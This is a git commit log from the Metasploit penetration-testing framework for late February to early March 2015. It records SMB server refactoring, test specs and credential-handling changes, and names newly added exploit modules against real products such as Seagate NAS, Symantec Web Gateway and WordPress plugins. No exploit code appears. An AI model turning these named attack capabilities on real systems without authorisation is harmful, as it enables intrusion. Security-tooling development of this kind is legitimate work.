David Maloney 199c3ba96c postgres hashdump now stores PostgresMD5 objects
instead of nonreplayabke hashes the postgres_hashdump
aux module now saves them approriately as PostgresMD5s
with the md5 tag intact at the front

MSP-12244
2015-03-03 16:45:13 -06:00
David Maloney 64490c746a CredCollection now knows about postgres_md5
the cred collection can now identify a postgres_md5 hash string
and set the type on the Metasploit::Framework::Credential object
appropriately

MSP-12244
2015-03-03 16:43:52 -06:00
David Maloney c836078292 allow credentials to have a type of postgres_md5
add postgres_md5 to the type validation on
Metasploit::Framework::Credential to account
for the new Private type

MSP-12244
2015-03-03 16:35:30 -06:00
HD Moore 9efbeb9a76 Lands #4870 by adding two MIPS architectures to the Metasm case statement 2015-03-03 15:26:49 -06:00
David Barksdale fb74136723 Add MIPS arches to this stupid case statement 2015-03-03 15:25:08 -06:00
jvazquez-r7 a57aefb721 Add specs for QUERY information level 2015-03-03 15:24:13 -06:00
jvazquez-r7 96c0f1847b Fix examples descriptions 2015-03-03 14:48:18 -06:00
jvazquez-r7 7f7b17c04e Really add specs 2015-03-03 14:14:03 -06:00
jvazquez-r7 c213ed3f5f Add specs for FIND information level 2015-03-03 14:13:36 -06:00
jvazquez-r7 df7c07bfd1 Really add the specs 2015-03-03 13:19:50 -06:00
jvazquez-r7 4237cd2c88 Add specs for QueryPathInformation 2015-03-03 13:19:06 -06:00
David Maloney aa4038d539 allow the postgres librry to take an md5 hash
allow the raw md5 password hash to be passed in instead of
a password for md5 authentication in postgres. Adds an extra exception
class for when an md5 hash is given but the server expects
a different form of authentication.

MSP-12244
2015-03-03 13:16:46 -06:00
jvazquez-r7 a2a24c56d6 Add specs for QueryFileInformation 2015-03-03 13:04:30 -06:00
jvazquez-r7 1322cb0d3f Clean find_first2 specs 2015-03-03 12:46:25 -06:00
jvazquez-r7 8328c5c5e9 Add specs for SMB_FIND_FILE_BOTH_DIRECTORY_INFO requests 2015-03-03 12:43:41 -06:00
jvazquez-r7 597f99ade9 Finish TRANS2 specs 2015-03-03 11:46:13 -06:00
jvazquez-r7 a204b550d2 Add specs for TRANSACTION2 helper methods 2015-03-03 10:55:55 -06:00
jvazquez-r7 bece2e7088 Really add the specs 2015-03-03 10:32:35 -06:00
jvazquez-r7 63a3ab16fe Add specs for SMB_COM_SESSION_SETUP_ANDX commands 2015-03-03 10:31:43 -06:00
jvazquez-r7 4bbc0b5b0b Fix valid_request on negotiate_spec 2015-03-02 17:39:39 -06:00
jvazquez-r7 a92dc7e73d Fix nt_create_andx specs 2015-03-02 17:38:24 -06:00
jvazquez-r7 4fc08d7243 Add specs for Msf::Exploit::Remote::SMB::Server::Share::Command::ReadAndX 2015-03-02 17:32:03 -06:00
jvazquez-r7 b5e5d390ac Add specs for Msf::Exploit::Remote::SMB::Server::Share::Command::NtCreateAndx 2015-03-02 16:55:36 -06:00
jvazquez-r7 584e5f7d8b Add specs for Exploit::Remote::SMB::Server::Share::Command::Negotiate 2015-03-02 16:29:33 -06:00
Brent Cook 4b54517b95 Land #4864 @wvu-r7 changes reverse_python to be non-interactive
This avoids sourcing the shell RC scripts, writing history, etc.
2015-03-02 16:21:49 -06:00
jvazquez-r7 50f5baa7c6 Add specs for Msf::Exploit::Remote::SMB::Server::Share::Command::Close 2015-03-02 16:00:02 -06:00
William Vu a648e74c4b Remove unnecessary semicolon 2015-03-02 15:36:45 -06:00
William Vu 80169de4d0 Remove -i from shell in reverse_python 2015-03-02 15:29:50 -06:00
William Vu ecd7ae9c3b Land #4857, symantec_web_gateway_restore module 2015-03-02 15:00:10 -06:00
sinn3r ad28f9767f Use include 2015-03-02 14:41:25 -06:00
jvazquez-r7 b0bc69b832 Add @todo comment 2015-03-02 14:25:56 -06:00
jvazquez-r7 d57e220f00 Delete unnecessary case on smb_cmd_trans_query_path_info_basic 2015-03-02 14:19:20 -06:00
jvazquez-r7 2004aea7b7 Add helpers for path handling on TRANS2 requests 2015-03-02 14:15:25 -06:00
sinn3r cb140434f9 Update 2015-03-02 12:59:21 -06:00
jvazquez-r7 8acde11aaf Use file_contents instead of exe_contents 2015-03-02 12:56:48 -06:00
jvazquez-r7 34bd6a4365 Add documentation for the Share mixin 2015-03-02 12:42:32 -06:00
jvazquez-r7 9a8e17508f Add documentation for QUERY information levels 2015-03-02 12:00:34 -06:00
jvazquez-r7 750022806b Add documentation for FIND information levels 2015-03-02 11:46:20 -06:00
sinn3r 5f3ed83922 Land #4836, Solarwinds Core Orion Service SQL injection 2015-03-02 11:44:26 -06:00
jvazquez-r7 0d8632dae9 Add documentation for TRANSACTION2 subcommands 2015-03-02 11:19:34 -06:00
jvazquez-r7 6a5dae4549 Add documentation for SMB_COM_TRANSACTION2 handling 2015-03-02 11:12:57 -06:00
jvazquez-r7 3923589286 Add documentation for SMB_COM_SESSION_SETUP_ANDX handling 2015-03-02 11:06:41 -06:00
jvazquez-r7 e8dd9c1971 Add documentation for SMB_COM_READ_ANDX 2015-03-02 10:59:07 -06:00
jvazquez-r7 1ad3f91c50 Add documentation for SMB_COM_NT_CREATE_ANDX handling 2015-03-02 10:52:30 -06:00
jvazquez-r7 19061121b3 Add documentation for SMB_COM_NEGOTIATE handling 2015-03-02 10:45:43 -06:00
jvazquez-r7 3e8bbb6c9e Add documentation for SMB_COM_CLOSE handling 2015-03-02 10:36:13 -06:00
Brandon Turner 6b3de2850b Merge remote-tracking branch 'origin/release' 2015-03-01 00:50:34 -06:00
Brandon Turner c86b56684a Fix bug preventing updates in pro
The RPC code previously tested return values to see if an error key was
equal to true.  In 251c284458, this was
changed to check if the error key was truthy.

The pro updater returns an error key with a string describing an error
(or an empty string for no error).  Ruby strings evaluate as truthy
which caused the new behavior to throw an error.  This prevented
checking for and applying updates.

This reverts to the original behavior of checking for true explicitly
instead of checking for a truthy value.

MSP-12235
2015-02-28 23:46:57 -06:00
William Vu ef330b970b Land #4860, @OJ's Seagate 0day hotness 2015-02-28 21:55:54 -06:00
OJ 905a539a00 Add exploit for Seagate Business NAS devices
This module is an exploit for a pre-authenticated remote code execution
vulnerability in Seagate Business NAS products.
2015-03-01 13:25:28 +10:00
Brandon Perry f8e3874203 add nil check 2015-02-28 20:43:19 -06:00
sinn3r 4a1fbbdc3b Use datastore to find payload name 2015-02-28 19:56:32 -06:00
jvazquez-r7 227cf4500d define constants for tree connect access rights 2015-02-28 18:38:45 -06:00
jvazquez-r7 e322aca1ba Merge constants for reponses wordcounts 2015-02-28 18:24:47 -06:00
jvazquez-r7 eb3aedf4a7 Define constants for WordCount in responses 2015-02-28 18:15:14 -06:00
Matthew Hall 402fa127e6 Merge pull request #3 from jvazquez-r7/review_3074_clean_server
Land the merge. Code looks good to me! :-) thanks @jvazquez-r7
2015-02-28 22:10:17 +00:00
jvazquez-r7 7d8b78c2e8 Merge session_setup refactoring 2015-02-28 15:14:33 -06:00
sinn3r 5f8c14c958 Fix check for TrueClass, plus other small changes 2015-02-28 14:11:15 -06:00
sinn3r 6f4259f2de Revert #4859, temporary solution for unbreaking client
This reverts commit 7ab86be72a, reversing
changes made to 49ae173057.
2015-02-28 14:07:26 -06:00
sinn3r 1b699b0ddc Resolve merge conflict
Conflicts:
	lib/msf/core/rpc/v10/client.rb
2015-02-28 14:07:01 -06:00
jvazquez-r7 eb7ac02d1a Normalize handlers names 2015-02-28 12:14:58 -06:00
jvazquez-r7 1d602d38c9 Refactor SessionSetupAndx handler 2015-02-28 12:10:48 -06:00
William Vu b27c9b9efc Land #4838, reverse_http{,s} listening service fix 2015-02-27 21:02:58 -06:00
Tod Beardsley 7ab86be72a Land #4859, reverting #4823.
PR #4823 caused some update issues. I think #4823's heart was in the
right place, and I imagine it was only one or two lines that caused the
failures.
2015-02-27 17:55:29 -06:00
sinn3r ac81318e7a Revert #4823, changes for ruby style guide
This reverts commit 885469ca52, reversing
changes made to fd73445d9b.

Please see: #4823 for why.
2015-02-27 17:28:00 -06:00
sinn3r bdc9f684c2 Check True in error response for mspc
Without this check, it causes Pro to behave different (malfunction)
2015-02-27 17:21:23 -06:00
sinn3r ef9196ba6c Correct comment 2015-02-27 13:27:49 -06:00
sinn3r 7b6c39058a Correct target name 2015-02-27 13:24:57 -06:00
sinn3r 90aff51676 Add CVE-2014-7285, Symantec Web Gateway restore.php Command Injection 2015-02-27 12:31:29 -06:00
jvazquez-r7 544f88620d Merge more mixin refactor 2015-02-27 01:55:14 -06:00
jvazquez-r7 e5e13108ed Refactor close handling 2015-02-26 23:50:10 -06:00
jvazquez-r7 5418cdad11 Refactor negotiate handling 2015-02-26 23:49:07 -06:00
jvazquez-r7 5ed1f8d44f Make opts optional 2015-02-26 23:39:17 -06:00
jvazquez-r7 882f0bdc0e Refactor read_andx request handling 2015-02-26 23:35:12 -06:00
jvazquez-r7 5b770f9f7a Refactor nt_create_andx requests 2015-02-26 23:31:09 -06:00
jvazquez-r7 70033576fe Refactor query information level 2015-02-26 23:22:57 -06:00
Brent Cook 49ae173057 Land #4844: the final tweaks to @wv-r7's PJL extensions 2015-02-26 17:39:49 -06:00
Brent Cook 1454ad79d8 Land #4844: @wv-r7 extends the PJL repetoire 2015-02-26 17:29:28 -06:00
jvazquez-r7 a3097b2854 Merge find information level refactoring 2015-02-26 16:50:16 -06:00
jvazquez-r7 d544da22b5 Always send answer 2015-02-26 16:47:05 -06:00
jvazquez-r7 45be95747f Refactor Find Information Levels 2015-02-26 16:46:34 -06:00
jvazquez-r7 89a033c194 Delete unnecessary paddings due to miscalculations 2015-02-26 15:54:00 -06:00
David Maloney 095431c323 fix note search conditions
note search conditions needed to know about
vuln_id or else vuln notes would get overwritten

MSP-12183
2015-02-26 15:48:04 -06:00
Tod Beardsley 14b46161e3 Land #4851, fix rb-readline-r7 checker 2015-02-26 15:19:17 -06:00
rastating 00c4d704f2 Update rspec to include new functionality
Added a new test for testing when all versions of a plugin are
vulnerable and added tests for checking theme versions from the
style.css file
2015-02-26 21:18:51 +00:00
rastating 3669fb678d Fix parameter default value 2015-02-26 21:15:33 +00:00
William Vu 260c603ffb Fix msfconsole -L
s/rb-readline/rb-readline-r7/

Should have been in #4816 (#4128).
2015-02-26 15:14:38 -06:00
Tod Beardsley f9b47a329d Land #4800, remove Lorcon source
It's maintained upstream, mentioned in #3200, and the modules that did
use these were themselves broken.
2015-02-26 15:03:32 -06:00
jvazquez-r7 387c966550 Fix unnecessary paddings 2015-02-26 15:00:53 -06:00
David Maloney a72d49678a only match by CVE refs
the other refs can be non-specific and refer
to multiple distinct vulns, resulting in
incorrect refs being attached to a vuln leading to
a snowball effect with more and more vulns being
misidentified.

MSP-12183
2015-02-26 14:57:16 -06:00
William Vu b35011012c Remove LORCON from LICENSE 2015-02-26 14:53:23 -06:00
William Vu b223dbdfcf Nuke external LORCON code from orbit 2015-02-26 14:52:01 -06:00
jvazquez-r7 500e4707ab Use smb_error 2015-02-26 14:35:52 -06:00
Bazin Danil 3aa68c30b0 => not => ! 2015-02-26 21:31:01 +01:00
Bazin Danil a427e417a3 -consomation +consumption 2015-02-26 21:23:09 +01:00
William Vu 3efae77212 Use /dev/null instead of /etc/passwd
File.read returns "" on /dev/null. Don't try it on /dev/zero. :-)
2015-02-26 14:19:25 -06:00
William Vu f625ad4f9c Remove unnecessary tests in spec 2015-02-26 14:12:39 -06:00
William Vu 0a51ca12a5 Download all of every file implicitly 2015-02-26 14:10:53 -06:00
Bazin Danil 1d03b9a166 Maj debug output 2015-02-26 21:06:20 +01:00
William Vu d0ca1b2dc6 Delete a thing I added for no reason 2015-02-26 14:06:10 -06:00
William Vu 5996256ccc Fix formatting 2015-02-26 14:05:50 -06:00
jvazquez-r7 c73ffea1b9 Do minor cleanup 2015-02-26 12:50:45 -06:00
David Maloney 8351920d1e don't match based on URL refs
multiple vulns may be listed for
the same URL making matches based on
these refs entirely unreliable

MSP-12183
2015-02-26 11:40:15 -06:00
jvazquez-r7 6d6d5a7dca Land @0x41414141's bugfixing 2015-02-26 11:40:08 -06:00
jvazquez-r7 b1e6de2eeb Add todo 2015-02-26 11:39:17 -06:00
jvazquez-r7 26bfebf1bb Add dummy wildcard handling 2015-02-26 11:39:05 -06:00
jvazquez-r7 d0ab9206b9 Do minor cleanup 2015-02-26 10:58:36 -06:00
jvazquez-r7 970f0c94b2 Create CREATE_ANDX constants 2015-02-26 10:44:07 -06:00
Matthew Hall ab1bb0e50d bugfixes to https://github.com/jvazquez-r7/metasploit-framework/tree/review_3074_clean_server
to provide consistent support for various exploits and OS SMB Commands.

Reintroduces smb_cmd_trans_query_path_info_network for use with the Struts2 JSP injection vulnerability.
Reintroduces smb_cmd_trans_query_file_info_basic for common use with rundll32.
Corrects some issues with filename formatting and pattern matching for file requests (can still be improved).
2015-02-26 16:10:34 +00:00
rastating 3b21de3906 Add WPVDB reference 2015-02-26 13:37:23 +00:00
Brandon Perry ceb92cdf5e update login method 2015-02-26 07:33:51 -06:00
William Vu 4aedd7e5d3 Fix spec for fsquery support 2015-02-25 18:14:17 -06:00
William Vu f24da1b178 Add file checking to printer_delete_file 2015-02-25 18:14:13 -06:00
William Vu dc3ba40e5d Add file checking to printer_upload_file 2015-02-25 18:13:36 -06:00
William Vu ed9213eb4c Add fsquery check to fs{download,delete} methods 2015-02-25 17:37:20 -06:00
William Vu ea5b6f66d4 Add UEL to fsdownload method 2015-02-25 17:35:34 -06:00
William Vu a543eccdb4 Add FSQUERY test to spec 2015-02-25 17:18:29 -06:00
William Vu 5d3c7f3b4a Add fsquery method 2015-02-25 17:18:23 -06:00
Tod Beardsley 2edd268275 Land #4816, switch to rb-readline-r7
Fixes #4816

See also MSP-12070
2015-02-25 17:10:08 -06:00
William Vu 1f981dd336 Add FSQUERY constant 2015-02-25 17:00:27 -06:00
William Vu af5e0ec0d6 Update spec with a couple more cases
Also fix a bad copypasta.
2015-02-25 16:43:40 -06:00
jvazquez-r7 d6dc8befa6 Define and use constants 2015-02-25 16:29:11 -06:00
jvazquez-r7 993c75ec77 Update Offset counts with constants 2015-02-25 16:25:16 -06:00
jvazquez-r7 ee18cf592b Calculate ParamCount and DataCount 2015-02-25 16:00:26 -06:00
William Vu 513d11ce93 Complete replacement of "pathname" with "path"
See e8c2c3687d.
2015-02-25 15:52:26 -06:00
William Vu b3d4fc798f Add printer_delete_file module 2015-02-25 15:47:53 -06:00
William Vu c95855ff11 Add fsdelete test to spec 2015-02-25 15:44:12 -06:00
William Vu 91f0713056 Add fsdelete method 2015-02-25 15:41:40 -06:00
William Vu a096a17e21 Add FSDELETE constant 2015-02-25 15:39:51 -06:00
William Vu 90d179e56f Add printer_upload_file module 2015-02-25 15:01:01 -06:00
William Vu 26cbeb011b Add fsdownload test to spec 2015-02-25 15:00:37 -06:00
William Vu 80d8491d09 Add fsdownload method 2015-02-25 15:00:31 -06:00
William Vu e8c2c3687d Replace "pathname" with "path"
This always bothered me, since I usually say "path."
2015-02-25 15:00:18 -06:00
William Vu 02ea7a0282 Add FSDOWNLOAD constant 2015-02-25 15:00:11 -06:00
jvazquez-r7 df50aa0f06 Use constants for DataCount and DataCountTotal 2015-02-25 14:11:38 -06:00
jvazquez-r7 55107da9fa Merge definition and usage of constants 2015-02-25 13:47:05 -06:00
jvazquez-r7 f35e03b21b Use constants 2015-02-25 13:44:56 -06:00
jvazquez-r7 f21959a8a2 Add constants for session setup actions 2015-02-25 13:31:57 -06:00
jvazquez-r7 e967cfbfb3 Create Access rights constants 2015-02-25 13:22:16 -06:00
William Vu 3cf94740e6 Land #4817, CHECK_TCP option for Lantronix module 2015-02-25 13:16:14 -06:00
William Vu d301752a88 Fix whitespace 2015-02-25 13:16:03 -06:00
rastating e2dfdd60c0 Update version range 2015-02-25 19:11:15 +00:00
jvazquez-r7 1caffbea2d Add constants for Negotiation Capabilities 2015-02-25 12:50:33 -06:00
jvazquez-r7 50d50d5353 Define constants for SMB Flags 2015-02-25 12:28:25 -06:00
jvazquez-r7 e5d9bb0a47 Update from master 2015-02-25 11:37:13 -06:00
jvazquez-r7 ec9be4531b Add SMB_CREATE_ANDX_RES_PKT template 2015-02-25 11:33:08 -06:00
Tod Beardsley 501301eae0 Land #4843, fix up datastore case spec 2015-02-25 11:15:54 -06:00
jvazquez-r7 50f8731980 Parse SMB_CMD_CREATE requests 2015-02-25 11:09:14 -06:00
William Vu f61fb0555d Add case-insensitive test of delete 2015-02-25 10:47:36 -06:00
William Vu 36e40f02c9 Fix delete in datastore spec
I was tired and accidentally a should. :(
2015-02-25 10:47:32 -06:00
HD Moore 302458652c Lands #4842, makes datastore.delete() case insensitive. 2015-02-24 21:05:52 -06:00
William Vu 2a66a6ae88 Add delete to datastore spec 2015-02-24 20:57:38 -06:00
William Vu 0ad3473ebb Implement case-insensitive datastore.delete 2015-02-24 20:47:00 -06:00
jvazquez-r7 d10385cfed Add template for SMB_TREE_CONN_ANDX_RES_PKT 2015-02-24 19:27:25 -06:00
jvazquez-r7 1f1d95bb37 Delete one more extra comment 2015-02-24 18:27:39 -06:00
jvazquez-r7 aeb7f05158 Delete extra comment 2015-02-24 18:27:21 -06:00
jvazquez-r7 642765aeb5 Delete comments 2015-02-24 18:27:02 -06:00
jvazquez-r7 bb36899699 Do templates names consistent 2015-02-24 18:26:46 -06:00
jvazquez-r7 744e338ddc Do cleanup 2015-02-24 18:15:55 -06:00
jvazquez-r7 ec53e27249 Do better handling of TRAN2_QUERY_FILE_INFORMATION requests 2015-02-24 17:20:41 -06:00
jvazquez-r7 d29e9fc20b Parse TRAN2_FIND_FIRST2 commands 2015-02-24 17:02:49 -06:00
rastating 06cb30a20a Remove duplicated code 2015-02-24 22:43:59 +00:00
jvazquez-r7 ef2366c6eb Merge handlers fix 2015-02-24 16:03:30 -06:00
jvazquez-r7 231a2f3110 Fix handlers 2015-02-24 16:03:13 -06:00
rastating 242d3b8680 Add WP EasyCart privilege escalation module 2015-02-24 21:11:22 +00:00
David Maloney e4a58a2ec5 import notes attached to vulns
add the ability to import notes that
are attached to vulns instead of hosts

MSP-12183
2015-02-24 13:36:57 -06:00
William Vu 141e2e732f Land #4839, @todb-r7's release fixes 2015-02-24 12:53:00 -06:00
Tod Beardsley 94b4bc24bd Minor word choice changes
[See #4804]
2015-02-24 12:29:11 -06:00
Tod Beardsley 6feae9524b Fix up funny indent on description
[See #4770]
2015-02-24 12:25:48 -06:00
David Maloney 389bcbd343 refactor note import into sep method
we will now be importing notes from multiple
place within the XML document. the importing
of notes has been refactored into a seperate
method to be easily reused in this fashion

MSP-12183
2015-02-24 12:18:32 -06:00
David Maloney 2389185376 export notes associated to a vuln
in addition to ntoes asscoiated directly
to a host, the XML export will now
export notes that are tied to a vuln

MSP-12183
2015-02-24 12:17:44 -06:00
Brent Cook c5d36ec24d remove unused handler methods
already defined in the base class
2015-02-24 11:23:08 -06:00
jvazquez-r7 ca7aabe9bc handle SMB_QUERY_FILE_NETWORK_OPEN_INFO 2015-02-24 11:13:18 -06:00
Brent Cook 3bed2d5136 fix for properly stopping the reverse_http/https handler
The issue seems to be at the root of #4669 is that reverse_http
registers an HTTP service but never releases its reference to it. If
we stop it directly, there may be a session already connected to it that
we kill, so we can't do that. Instead, track if we got a connection or
not, and conditionally release our reference based on whether the
connection succeeded.

This should fix #4669
2015-02-24 11:06:50 -06:00
William Vu 5f0aeda0be Land #4835, new hex format for msfvenom 2015-02-24 10:56:47 -06:00
jvazquez-r7 31d1ba7100 Simplify debug to inspect smb_cmd_trans_query_file_info_network 2015-02-24 10:54:45 -06:00
Christian Mehlmauer face3a7f7a add trailing newline 2015-02-24 17:53:33 +01:00
Christian Mehlmauer 1d2fc989bd remove newline 2015-02-24 17:35:53 +01:00
Brandon Perry 1134b0a6fa fix dataastore to datastore 2015-02-24 10:34:33 -06:00
William Vu c3c9b233dd Land #4834, a few more duplicate hash key fixes 2015-02-24 10:32:55 -06:00
Christian Mehlmauer 906c4a9024 use + instead of << 2015-02-24 17:18:41 +01:00
sinn3r 12a99ecee5 Land #4796, Handle incompatible payload architecture in BES 2015-02-24 10:02:25 -06:00
Christian Mehlmauer 5880702552 added new hex format 2015-02-24 16:05:02 +01:00
William Vu 7b32b8b58c Land #4810, support for job renaming in msfconsole 2015-02-24 08:51:06 -06:00
Brent Cook ab4a416958 comment out duplicate keys that can only be used for reference
ruby is ignoring all but the second instances, and 2.2 still throws a
warning
2015-02-24 08:50:02 -06:00
sinn3r 9cbb8c2357 Merge pull request #27 from wvu-r7/pr/4810
Add tab completion for rename_job
2015-02-24 08:40:04 -06:00
Brent Cook cf913e521c Land #4832 @wvu-r7 remove and merge duplicate hash key initializers 2015-02-24 08:38:09 -06:00
Brent Cook 1efb4331b2 Land #4833 @wvu-r7 fix RHOST/RPORT typo 2015-02-24 07:44:43 -06:00
BAZIN-HSC a0ba078801 add debug output 2015-02-24 14:15:30 +01:00
William Vu 5cdb678654 Fix invalid use of RPORT (should be RHOST) 2015-02-24 05:24:09 -06:00
William Vu f3cad229d3 Fix duplicate hash key "References"
In modules/auxiliary/scanner/http/http_login.rb.
2015-02-24 05:19:58 -06:00
William Vu aa1e1a5269 Fix duplicate hash key "Platform"
In modules/exploits/windows/mssql/mssql_linkcrawler.rb.
2015-02-24 05:19:56 -06:00
William Vu 57642377cc Fix duplicate hash key "MinNops"
In modules/exploits/windows/backupexec/name_service.rb.
2015-02-24 05:19:55 -06:00
William Vu f2c96b4fdd Fix duplicate hash key "DefaultOptions"
In modules/exploits/windows/browser/ntr_activex_stopmodule.rb.
2015-02-24 05:19:54 -06:00
William Vu b671c9b496 Fix duplicate hash key "DefaultOptions"
In modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb.
2015-02-24 05:19:53 -06:00
William Vu 2e90f266fa Fix duplicate hash key "massage_array"
In modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb.
2015-02-24 05:19:52 -06:00
William Vu e618c2f112 Fix duplicate hash key "DefaultOptions"
In modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb.
2015-02-24 05:19:51 -06:00
William Vu 2ffa368c18 Fix duplicate hash key "DefaultOptions"
In modules/exploits/windows/browser/ntr_activex_check_bof.rb.
2015-02-24 05:19:50 -06:00
William Vu a8f0af4409 Fix duplicate hash key "DefaultOptions"
In modules/exploits/windows/browser/cisco_playerpt_setsource.rb.
2015-02-24 05:19:49 -06:00
William Vu ff73b4d51a Fix duplicate hash key "DefaultOptions"
In modules/exploits/windows/local/pxeexploit.rb.
2015-02-24 05:19:48 -06:00
William Vu 53e45498ca Fix duplicate hash key "DefaultOptions"
In modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb.
2015-02-24 05:19:47 -06:00
William Vu 943ff2da75 Fix duplicate hash key "DefaultOptions"
In modules/exploits/windows/http/hp_pcm_snac_update_domain.rb.
2015-02-24 05:19:46 -06:00
William Vu 6aa3952c91 Fix duplicate hash key "Platform"
In modules/exploits/windows/scada/winlog_runtime_2.rb.
2015-02-24 05:19:45 -06:00
William Vu 5eec07d4d1 Fix duplicate hash key "jpeg"
In lib/rex/proto/http/server.rb.
2015-02-24 05:19:42 -06:00
William Vu 285c138f80 Add tab completion for rename_job 2015-02-24 04:25:36 -06:00
William Vu 500b6229be Clean up whitespace 2015-02-24 04:13:59 -06:00
sinn3r 8d17aa04ee Update the title too 2015-02-24 00:46:35 -06:00
sinn3r 578a545b22 Update MS14-064 for Windows XP 2015-02-23 23:08:13 -06:00
sinn3r e9b6a023de Fix a typo 2015-02-23 21:45:02 -06:00
jvazquez-r7 d0d124eb19 Mimic original handling 2015-02-23 20:42:49 -06:00
jvazquez-r7 32046f9c47 smb_cmd_trans_query_path_info_standard 2015-02-23 19:57:16 -06:00
William Vu 8c5ff858d0 Land #4812, hp_sys_mgmt_login configurable URIs 2015-02-23 19:04:14 -06:00
jvazquez-r7 ea483f14a1 Try to fix logic for query information levels 2015-02-23 17:17:33 -06:00
Brandon Perry c9439addf8 fix url 2015-02-23 16:50:58 -06:00
jvazquez-r7 3fca26a5de Add support for SMB_COM_TRANSACTION2 data blocks and params 2015-02-23 16:37:39 -06:00
sinn3r 1b7e819106 Land #4829, Add the /ews/ path to enable easy OWA brute force 2015-02-23 15:05:38 -06:00
sinn3r c0f1509f83 Land #4828, Fixes SSL support for http_login 2015-02-23 15:04:34 -06:00
jvazquez-r7 623d319ca7 Fix offsets 2015-02-23 14:43:06 -06:00
HD Moore 8b0354b193 Fix the SSL boolean test 2015-02-23 14:29:28 -06:00
jvazquez-r7 2653ff9d58 Try to simplify request query and find request handling 2015-02-23 14:06:23 -06:00
HD Moore bf103def9e Add the /ews/ path to enable easy OWA brute force 2015-02-23 14:03:39 -06:00
HD Moore 97ccf7e23f Fixes SSL support for http_login (variable shadowing) 2015-02-23 14:00:29 -06:00
William Vu bcfbcb7eea Clean up whitespace 2015-02-23 13:15:21 -06:00
jvazquez-r7 36711e801c Fix comment 2015-02-23 13:09:23 -06:00
jvazquez-r7 99483f88f1 Fix, hopefully, dispatching 2015-02-23 13:08:45 -06:00
jvazquez-r7 87176b9b37 Redo TRANS2_QUERY_PATH_INFORMATION dispatching 2015-02-23 12:52:50 -06:00
Samuel Huckins eedfd53e51 Merge branch 'master' into release 2015-02-23 12:37:09 -06:00
jvazquez-r7 a06d07d6da Clean smb_cmd_trans2_query_file_information dispatching 2015-02-23 12:03:08 -06:00
sinn3r c39d6e152e Land #4819, Normalize HTTP LoginScanner modules 2015-02-23 11:43:42 -06:00
jvazquez-r7 abe5ea42cb Clean smb_cmd_trans 2015-02-23 11:34:19 -06:00
jvazquez-r7 3d7381b62a Handle TRANS2 commands 2015-02-23 11:33:49 -06:00
jvazquez-r7 fe00cadd18 Delete require 2015-02-23 11:15:55 -06:00
jvazquez-r7 1dba961698 delete SubCommand namespace 2015-02-23 11:15:14 -06:00
jvazquez-r7 7d9f661d78 Fix includes 2015-02-23 11:14:45 -06:00
jvazquez-r7 439507d359 Move trans2 files 2015-02-23 11:13:08 -06:00
sinn3r 885469ca52 Land #4823, Meet the modern ruby style guide 2015-02-23 01:03:08 -06:00
sinn3r fd73445d9b Land #4824, Handle ICMP "protocol not available" errors as connection errors 2015-02-23 01:00:38 -06:00
William Vu 933c4a05b4 Land #4814, ms04_011_pct improved error messages 2015-02-22 23:51:14 -06:00
HD Moore 1b1716bcf6 Fix a handful of bugs that broke this modules. Fixes #4799 2015-02-22 22:01:01 -06:00
HD Moore 9730a1655e Small cleanups to the LLMR responder module 2015-02-22 22:00:42 -06:00
HD Moore bdd5276524 This fixes a number of issues with the Capture mixin
* The use of www.metasploit.com in a datastore option results in a DNS lookup (infoleak). Switch to 8.8.8.8 (TTL=1)
 * The hackey code around #each_packet is no longer necessary in newer Ruby versions
 * The arp()/probe_gateway() calls to inject_reply() had broken logic leading to early exit and missed replies
 * The arp() function now tries up to three times to get a reply (helpful with lossy L2)
 * GC.start is extraneous and should be removed
 * Increased timeouts
2015-02-22 21:53:47 -06:00
HD Moore 615d71de6e Remove extraneous calls to GC.start() 2015-02-22 21:51:33 -06:00
HD Moore e5e3474af4 Handle ICMP "protocol not available" errors as connection errors 2015-02-22 16:36:53 -06:00
Joshua Smith d60cc2765f removes forgotten line of test code 2015-02-22 15:53:44 -06:00
Joshua Smith 4c093985db remove svn vestiges 2015-02-22 15:40:58 -06:00
Joshua Smith 251c284458 modernizes some of the rpc code 2015-02-22 15:37:55 -06:00
Brandon Perry 3d82c7755b add solarwinds module 2015-02-22 15:35:42 -06:00
HD Moore 29ac27f357 Lands #4813, replaces print_* with exceptions 2015-02-22 14:14:16 -06:00
rastating 61bdd58fbe Fix required flag on options 2015-02-22 16:20:47 +00:00
rastating 37a55cce74 Abstracted version comparison code 2015-02-22 16:20:46 +00:00
rastating 31cdd757f6 Add WordPress WPLMS privilege escalation module 2015-02-22 16:20:46 +00:00
rastating 3d38d46729 Add extra version checking methods
Added the ability to check style.css for theme versions as version
tagging in style.css is a requirement of WordPress theme development.
Also updated existing readme checking to allow for a nil fixed_version
parameter in scenarios where all versions are vulnerable in an EOL
product.
2015-02-22 16:20:46 +00:00
HD Moore c60e2584bf Comment typo 2015-02-22 02:51:18 -06:00
HD Moore 888c718f40 Fix two typos 2015-02-22 02:45:50 -06:00
HD Moore ea54696d99 Remove redundant params now provided by the mixin helper 2015-02-22 02:32:28 -06:00
HD Moore 8e8a366889 Pass Http::Client parameters into LoginScanner::Http (see #4803) 2015-02-22 02:26:15 -06:00
Christian Mehlmauer c820431879 Land #4770, Wordpress Ultimate CSV Importer user extract module 2015-02-22 08:52:45 +01:00
BAZIN-HSC d8132f86ff ajust buffer size 2015-02-22 08:51:16 +01:00
RageLtMan 2e58a3d1dd Update credential reporting mechanism
Replace :report_auth_info deprecated method with hooks into the
Metasploit Credential based system.
2015-02-22 02:49:54 -05:00
William Vu 2609a2acee Land #4815, MS15-001 reference update 2015-02-21 21:05:03 -06:00
William Vu 2b9ab901cb Land #4811, creds -d documentation 2015-02-21 20:59:52 -06:00
William Vu 9f826f4caa Land #4809, s/WtfError/ElfParseyError/ 2015-02-21 20:52:58 -06:00
William Vu b39e2bea8e Land #4806, EXE::Custom case-sensitivity fix 2015-02-21 20:49:53 -06:00
William Vu f900d9cf26 Handle whitespace as per blank?
!~ /\S/ as per the original implementation of blank? also works.
2015-02-21 20:36:16 -06:00
RageLtMan 8ace041a23 TCP option for Lantronix Telnet Password Recovery
This commit adds a CHECK_TCP option to the Lantronix password
disclosure module. If set to true, a TCP port will be used to
check for the disclosure instead of the default UDP configuration.
2015-02-21 20:22:18 -05:00
rastating f9dbff8a6c Add store path output 2015-02-21 23:41:26 +00:00
Christian Mehlmauer 7d42dcee9c Land #4769, Wordpress holding-pattern theme file upload 2015-02-21 23:13:06 +01:00
